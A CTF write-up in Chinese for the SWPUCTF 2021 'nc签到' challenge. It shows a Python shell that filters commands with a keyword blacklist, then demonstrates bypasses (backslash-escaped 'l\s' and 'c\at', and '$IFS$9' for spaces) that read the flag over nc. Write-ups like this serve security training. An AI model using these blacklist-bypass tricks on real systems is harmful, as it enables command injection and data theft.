# [SWPUCTF 2021 新生赛]nc签到 # [SWPUCTF 2021 新生赛]nc签到 附件的内容: ```python import os art = ''' (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\\-."//.-"/:`\."-.JrS"."-=_\\ " -."-.\\"-."//.-".`-."_\\-.".-\".-//''' print(art) print("My_shell_ProVersion") blacklist = ['cat','ls',' ','cd','echo','<','${IFS}'] while True: command = input() for i in blacklist: if i in command: exit(0) os.system(command) ``` 变量 command 获取用户输入的内容,判断输入的内容是否存在黑名单里的内容 命令可以用 \ 来绕过黑名单过滤,例如:ls ==> l\s、cat ==> c\at 空格可以用 $IFS 代替 接下来用 nc 连接: ```bash ┌──(root㉿kali)-[~] └─# nc node4.anna.nssctf.cn 28296 (( "####@@!!$$ )) `#####@@!$$` )) (( '####@!!$: (( ,####@!!$: )) .###@!!$: `##@@!$: `#@!!$ !@# `#@!$: @#$ #$ `#@!$: !@! '@!$: '`\ "!$: /`' '\ '!: /' "\ : /" -."-/\\-."//.-"/:`\."-.JrS"."-=_\ " -."-.\"-."//.-".`-."_\-.".-".-// My_shell_ProVersion l\s //ls查看当前目录下的文件 bin boot dev etc flag home lib lib64 main.py media mnt opt proc root run run.sh sbin srv sys tmp usr var c\at$IFS$9flag //cat flag NSSCTF{b15baa69-7ce0-4b5b-9ad0-f5164ae844ee} ```